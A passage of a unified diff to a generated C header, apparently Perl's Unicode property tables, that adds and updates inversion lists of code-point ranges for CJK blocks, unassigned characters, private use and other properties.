+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1C78,
+	0x1C7E,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x200B,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2C7C,
+	0x2C7E,
+	0x2CEF,
+	0x2CF2,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x302E,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303C,
+	0x3099,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA4F8,
+	0xA4FE,
+	0xA60C,
+	0xA60D,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA700,
+	0xA722,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA78B,
+	0xA7F8,
+	0xA7FA,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9CF,
+	0xA9D0,
+	0xA9E5,
+	0xA9E7,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA70,
+	0xAA71,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAADD,
+	0xAADE,
+	0xAAEC,
+	0xAAEE,
+	0xAAF3,
+	0xAAF5,
+	0xAAF6,
+	0xAAF7,
+	0xAB5B,
+	0xAB60,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFBB2,
+	0xFBC2,
+	0xFE00,
+	0xFE10,
+	0xFE13,
+	0xFE14,
+	0xFE20,
+	0xFE30,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFEFF,
+	0xFF00,
+	0xFF07,
+	0xFF08,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE3,
+	0xFFE4,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F3FB,
+	0x1F400,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_CJK_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4E00,
+	0xA000
+};
+
+static const UV PL_CJKCOMPAT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3300,
+	0x3400
+};
+
+static const UV PL_CJKCOMPATFORMS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE30,
+	0xFE50
+};
+
+static const UV PL_CJKCOMPATIDEOGRAPHS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF900,
+	0xFB00
+};
+
+static const UV PL_CJKCOMPATIDEOGRAPHSSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2F800,
+	0x2FA20
+};
+
+static const UV PL_CJKEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3400,
+	0x4DC0
+};
+
+static const UV PL_CJKEXTB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20000,
+	0x2A6E0
+};
+
+static const UV PL_CJKEXTC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2A700,
+	0x2B740
+};
+
+static const UV PL_CJKEXTD_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B740,
+	0x2B820
+};
+
+static const UV PL_CJKEXTE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B820,
+	0x2CEB0
+};
+
+static const UV PL_CJKEXTF_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2CEB0,
+	0x2EBF0
+};
+
+static const UV PL_CJKRADICALSSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2E80,
+	0x2F00
+};
+
+static const UV PL_CJKSTROKES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x31C0,
+	0x31F0
+};
+
+static const UV PL_CJKSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3000,
+	0x3040
+};
+
+static const UV PL_CN_invlist[] = { /* for all charsets */
+	1298,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
 	0x2074,
 	0x208F,
 	0x2090,
 	0x209D,
 	0x20A0,
-	0x20BF,
+	0x20C0,
 	0x20D0,
 	0x20F1,
 	0x2100,
 	0x218C,
 	0x2190,
-	0x23FF,
-	0x2400,
 	0x2427,
 	0x2440,
 	0x244B,
@@ -56975,7 +190385,7 @@
 	0x2BBD,
 	0x2BC9,
 	0x2BCA,
-	0x2BD2,
+	0x2BD3,
 	0x2BEC,
 	0x2BF0,
 	0x2C00,
@@ -57013,7 +190423,7 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
+	0x2E4A,
 	0x2E80,
 	0x2E9A,
 	0x2E9B,
@@ -57022,7 +190432,7 @@
 	0x2FD6,
 	0x2FF0,
 	0x2FFC,
-	0x3001,
+	0x3000,
 	0x3040,
 	0x3041,
 	0x3097,
@@ -57029,7 +190439,7 @@
 	0x3099,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x3190,
@@ -57043,7 +190453,7 @@
 	0x3300,
 	0x4DB6,
 	0x4DC0,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA490,
@@ -57110,7 +190520,7 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
-	0xE000,
+	0xD800,
 	0xFA6E,
 	0xFA70,
 	0xFADA,
@@ -57202,7 +190612,7 @@
 	0x102FC,
 	0x10300,
 	0x10324,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -57410,6 +190820,14 @@
 	0x118F3,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -57426,6 +190844,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -57467,13 +190899,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -57658,12 +191092,14 @@
 	0x1F249,
 	0x1F250,
 	0x1F252,
+	0x1F260,
+	0x1F266,
 	0x1F300,
-	0x1F6D3,
+	0x1F6D5,
 	0x1F6E0,
 	0x1F6ED,
 	0x1F6F0,
-	0x1F6F7,
+	0x1F6F9,
 	0x1F700,
 	0x1F774,
 	0x1F780,
@@ -57678,22 +191114,20 @@
 	0x1F888,
 	0x1F890,
 	0x1F8AE,
+	0x1F900,
+	0x1F90C,
 	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93F,
 	0x1F940,
-	0x1F94C,
+	0x1F94D,
 	0x1F950,
-	0x1F95F,
+	0x1F96C,
 	0x1F980,
-	0x1F992,
+	0x1F998,
 	0x1F9C0,
 	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -57702,6 +191136,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0001,
@@ -57716,32 +191152,4811 @@
 	0x10FFFE
 };
 
-static const UV XPosixLower_invlist[] = { /* for EBCDIC 1047 */
-	1289,	/* Number of elements */
+static const UV PL_CO_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0xE000,
+	0xF900,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+static const UV PL_COMPATJAMO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3130,
+	0x3190
+};
+
+static const UV PL_COMPEX_invlist[] = { /* for all charsets */
+	147,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBE,
+	0x1FBF,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FEE,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+static const UV PL_CONTROLPICTURES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2400,
+	0x2440
+};
+
+static const UV PL_COPT_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3E2,
+	0x3F0,
+	0x2C80,
+	0x2CF4,
+	0x2CF9,
+	0x2D00,
+	0x102E0,
+	0x102FC
+};
+
+static const UV PL_COPTICEPACTNUMBERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x102E0,
+	0x10300
+};
+
+static const UV PL_COUNTINGROD_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D360,
+	0x1D380
+};
+
+static const UV PL_CPRT_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
